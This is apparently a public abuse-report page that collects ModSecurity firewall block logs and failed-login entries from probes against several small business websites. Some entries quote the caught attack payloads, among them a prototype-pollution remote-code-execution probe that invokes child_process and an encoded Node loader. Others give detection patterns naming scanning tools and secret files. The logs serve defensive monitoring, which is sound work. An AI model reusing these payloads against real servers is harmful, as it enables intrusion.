[TueNov0317:25:16.0294842026][security2:error][pid2052178:tid2052394][client193.37.32.162:0]ModSecur ...
show more[TueNov0317:25:16.0294842026][security2:error][pid2052178:tid2052394][client193.37.32.162:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(filemanager\|wp-file-manager\|elfinder\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"834\"][id\"980500\"][msg\"WordPressfilemanagerexploitattempt\"][hostname\"salonesamire.ch\"][uri\"/wp-content/plugins/wp-file-manager/file_folder_manager.php\"][unique_id\"auoK7ATXnivUAKpqX3CTtgAAAMw\"]
show less
[TueNov0317:25:06.1409772026][security2:error][pid1390672:tid1390694][client2a01:518:1:41:132::1:0]M ...
show more[TueNov0317:25:06.1409772026][security2:error][pid1390672:tid1390694][client2a01:518:1:41:132::1:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"giuliani.li\"][uri\"/\"][unique_id\"auoK4tMPYpAGaeDfP2ur4AAAAAA\"]
show less
[TueNov0317:24:37.6202992026][security2:error][pid1386869:tid1386994][client193.228.134.216:0]ModSec ...
show more[TueNov0317:24:37.6202992026][security2:error][pid1386869:tid1386994][client193.228.134.216:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"lacer.ch\"][uri\"/media/sourcerer/js/popup.js\"][unique_id\"auoKxYGY0lUDpmGoMbpyKAAAAMc\"]
show less
[TueNov0317:24:12.7531022026][security2:error][pid2052172:tid2052305][client193.37.32.177:0]ModSecur ...
show more[TueNov0317:24:12.7531022026][security2:error][pid2052172:tid2052305][client193.37.32.177:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(filemanager\|wp-file-manager\|elfinder\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"834\"][id\"980500\"][msg\"WordPressfilemanagerexploitattempt\"][hostname\"salonesamire.ch\"][uri\"/tinyfilemanager/tinyfilemanager.php\"][unique_id\"auoKrMk6l2zHRNJVDUiaxQAAABU\"]
show less
[TueNov0317:24:16.1087162026][security2:error][pid1386865:tid1386950][client34.151.178.51:0]ModSecur ...
show more[TueNov0317:24:16.1087162026][security2:error][pid1386865:tid1386950][client34.151.178.51:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"cpcalendars.vulcanoricambi.ch\"][uri\"/.env.bak\"][unique_id\"auoKsFrPRYmjoelj7H_j4QAAAFU\"]
show less
[TueNov0317:23:43.6490292026][security2:error][pid1386869:tid1386988][client198.44.159.162:0]ModSecu ...
show more[TueNov0317:23:43.6490292026][security2:error][pid1386869:tid1386988][client198.44.159.162:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"ksmstudio.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoKj4GY0lUDpmGoMbpyGgAAAMQ\"]
show less
[TueNov0317:23:40.7133642026][security2:error][pid2052178:tid2052400][client193.37.32.139:0]ModSecur ...
show more[TueNov0317:23:40.7133642026][security2:error][pid2052178:tid2052400][client193.37.32.139:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\^/wp-content/plugins/\(revslider\|elementor\|layer-slider\)/.\*\\\\\\\\.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"756\"][id\"960832\"][msg\"WordPresspluginexploitscannerblocked\"][hostname\"salonesamire.ch\"][uri\"/wp-content/plugins/revslider/includes/external/page/index.php\"][unique_id\"auoKjATXnivUAKpqX3CTkAAAANI\"]
show less
[TueNov0317:23:39.6982532026][security2:error][pid1386871:tid1387005][client35.200.140.68:0]ModSecur ...
show more[TueNov0317:23:39.6982532026][security2:error][pid1386871:tid1387005][client35.200.140.68:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"kvsm-blackstone.com\"][uri\"/\"][unique_id\"auoKi33cFLL3mAI35ApCkwAAAQg\"]
show less
[TueNov0317:23:30.3539342026][security2:error][pid2052178:tid2052395][client134.90.137.88:0]ModSecur ...
show more[TueNov0317:23:30.3539342026][security2:error][pid2052178:tid2052395][client134.90.137.88:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atREQUEST_COOKIES:4d5d155d508a4a358e8ec19b16a4af51.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"echo\(1619\*3999\)\"][severity\"CRITICAL\"][tag\"SQLi\"][tag\"RCE\"][hostname\"www.motogiro.com\"][uri\"/wp-content/themes/twentytwentyfour/functions.php\"][unique_id\"auoKggTXnivUAKpqX3CTjQAAAM0\"]
show less
[TueNov0317:22:51.2302402026][security2:error][pid1386861:tid1386903][client122.49.220.109:0]ModSecu ...
show more[TueNov0317:22:51.2302402026][security2:error][pid1386861:tid1386903][client122.49.220.109:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"orabonastudio.it\"][uri\"/xmlrpc.php\"][unique_id\"auoKW_d84Bfr2Kjd4jadbgAAAAc\"]
show less
[TueNov0317:22:48.0134442026][security2:error][pid1386871:tid1387034][client37.1.31.149:0]ModSecurit ...
show more[TueNov0317:22:48.0134442026][security2:error][pid1386871:tid1387034][client37.1.31.149:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"orabonastudio.it\"][uri\"/xmlrpc.php\"][unique_id\"auoKWH3cFLL3mAI35ApCfAAAARg\"]
show less
[TueNov0317:22:02.9882332026][security2:error][pid2052179:tid2052376][client193.37.32.155:0]ModSecur ...
show more[TueNov0317:22:02.9882332026][security2:error][pid2052179:tid2052376][client193.37.32.155:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(filemanager\|wp-file-manager\|elfinder\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"834\"][id\"980500\"][msg\"WordPressfilemanagerexploitattempt\"][hostname\"salonesamire.ch\"][uri\"/filemanager.php\"][unique_id\"auoKKgE3wcLXxrTRlXENyQAAAQI\"]
show less
[TueNov0317:21:44.9754082026][security2:error][pid1386869:tid1387008][client169.58.190.92:0]ModSecur ...
show more[TueNov0317:21:44.9754082026][security2:error][pid1386869:tid1387008][client169.58.190.92:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"www.lascalasagl.ch\"][uri\"/robots.txt\"][unique_id\"auoKGIGY0lUDpmGoMbpx4QAAAM4\"]
show less
[TueNov0317:21:36.0698272026][security2:error][pid1386865:tid1386945][client2a02:c207:2366:9774::1:0 ...
show more[TueNov0317:21:36.0698272026][security2:error][pid1386865:tid1386945][client2a02:c207:2366:9774::1:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"www.lascalasagl.ch\"][uri\"/robots.txt\"][unique_id\"auoKEFrPRYmjoelj7H_jsQAAAFA\"]
show less
[TueNov0317:20:49.8564692026][security2:error][pid1386865:tid1386933][client45.13.228.170:0]ModSecur ...
show more[TueNov0317:20:49.8564692026][security2:error][pid1386865:tid1386933][client45.13.228.170:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"autoeuro.lv\"][uri\"/\"][unique_id\"auoJ4VrPRYmjoelj7H_jqAAAAEQ\"]
show less
[TueNov0317:20:37.9943372026][security2:error][pid2052179:tid2052412][client35.221.51.46:0]ModSecuri ...
show more[TueNov0317:20:37.9943372026][security2:error][pid2052179:tid2052412][client35.221.51.46:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"www.hosting-domain-swiss-ch.ticino-hosting.ch\"][uri\"/\"][unique_id\"auoJ1QE3wcLXxrTRlXENkgAA
show less
[TueNov0317:19:01.1674092026][security2:error][pid1381471:tid1381552][client13.233.35.173:0]ModSecur ...
show more[TueNov0317:19:01.1674092026][security2:error][pid1381471:tid1381552][client13.233.35.173:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bhttpx\\\\\\\\b\|\\\\\\\\bnaabu\\\\\\\\b\|\\\\\\\\bffuf\\\\\\\\b\|\\\\\\\\bgobuster\\\\\\\\b\|\\\\\\\\bferoxbuster\\\\\\\\b\|\\\\\\\\bwfuzz\\\\\\\\b\|\\\\\\\\bjaeles\\\\\\\\b\|\\\\\\\\bzgrab2\?\\\\\\\\b\|\\\\\\\\bcommix\\\\\\\\b\|\\\\\\\\bxsstrike\\\\\\\\b\|\\\\\\\\bkiterunner\\\\\\\\b\|\(\?:\^\|[/]\)katana\(\?:/\|\\\\\\\\b\)\|\\\\\\\\bkr/\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"70\"][id\"338800\"][rev\"2\"][msg\"Atomicorp.comWAFRules:Blockedrecon/fuzzUA\"][severity\"CRITICAL\"][hostname\"your-team.ch\"][uri\"/\"][unique_id\"auoJdcCOs9AixTMLJ7R6zgAAAJI\"]
show less
[TueNov0317:18:56.0746182026][security2:error][pid1381471:tid1381550][client79.116.228.215:0]ModSecu ...
show more[TueNov0317:18:56.0746182026][security2:error][pid1381471:tid1381550][client79.116.228.215:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"giuseppeasaro.com\"][uri\"/xmlrpc.php\"][unique_id\"auoJcMCOs9AixTMLJ7R6zQAAAJA\"]
show less
[TueNov0317:18:40.9222422026][security2:error][pid1381469:tid1381518][client46.172.83.42:0]ModSecuri ...
show more[TueNov0317:18:40.9222422026][security2:error][pid1381469:tid1381518][client46.172.83.42:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"giuseppeasaro.com\"][uri\"/xmlrpc.php\"][unique_id\"auoJYO_gsLQ_rTaqPUDJbwAAAEs\"]
show less
[TueNov0317:18:37.9985032026][security2:error][pid1381469:tid1381517][client181.78.95.180:0]ModSecur ...
show more[TueNov0317:18:37.9985032026][security2:error][pid1381469:tid1381517][client181.78.95.180:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"giuseppeasaro.com\"][uri\"/xmlrpc.php\"][unique_id\"auoJXe_gsLQ_rTaqPUDJbQAAAEo\"]
show less
[2026-11-0317:16:26 0100]info[webmaild]136.71.53.182--\"GET/blog/wp-includes/wlwmanifest.xmlHTTP/1.1 ...
show more[2026-11-0317:16:26 0100]info[webmaild]136.71.53.182--\"GET/blog/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:27 0100]info[webmaild]136.71.53.182--\"GET/wordpress/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:28 0100]info[webmaild]136.71.53.182--\"GET/wp/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:28 0100]info[webmaild]136.71.53.182--\"GET/2020/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:17:53 0100]info[webmaild]35.203.52.153--\"GET/sitemap.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:25 0100]info[webmaild]136.71.53.182--\"GET/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusernameIPAddressesBlocked:136.71.53.182\(US/UnitedStates/182.53.71.136.bc.googleusercontent.com\)
show less
[TueNov0317:17:45.7973622026][security2:error][pid1381473:tid1381566][client35.189.16.30:0]ModSecuri ...
show more[TueNov0317:17:45.7973622026][security2:error][pid1381473:tid1381566][client35.189.16.30:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"vulcanoricambi.ch\"][uri\"/\"][unique_id\"auoJKSZE_bDItETvkYG4ugAAAMU\"]
show less
[2026-11-0317:16:25 0100]info[webmaild]136.71.53.182--\"GET/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAI ...
show more[2026-11-0317:16:25 0100]info[webmaild]136.71.53.182--\"GET/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:26 0100]info[webmaild]136.71.53.182--\"GET/blog/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:27 0100]info[webmaild]136.71.53.182--\"GET/wordpress/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:28 0100]info[webmaild]136.71.53.182--\"GET/wp/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername[2026-11-0317:16:28 0100]info[webmaild]136.71.53.182--\"GET/2020/wp-includes/wlwmanifest.xmlHTTP/1.1\"FAILEDLOGINwebmaild:loginattemptwithoutusername
show less
[TueNov0317:12:19.6006712026][security2:error][pid1377945:tid1377988][client2.31.81.183:0]ModSecurit ...
show more[TueNov0317:12:19.6006712026][security2:error][pid1377945:tid1377988][client2.31.81.183:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e6328293d3e7b636f6e73742066733d617
show less
[TueNov0317:12:01.2259972026][security2:error][pid1377945:tid1377996][client34.62.91.231:0]ModSecuri ...
show more[TueNov0317:12:01.2259972026][security2:error][pid1377945:tid1377996][client34.62.91.231:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"glass-container.com\"][uri\"/\"][unique_id\"auoH0f4lMalwkGf1kxgGIwAAAE0\"]
show less
Port ScanBrute-ForceWeb App Attack
By clicking โAccept allโ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.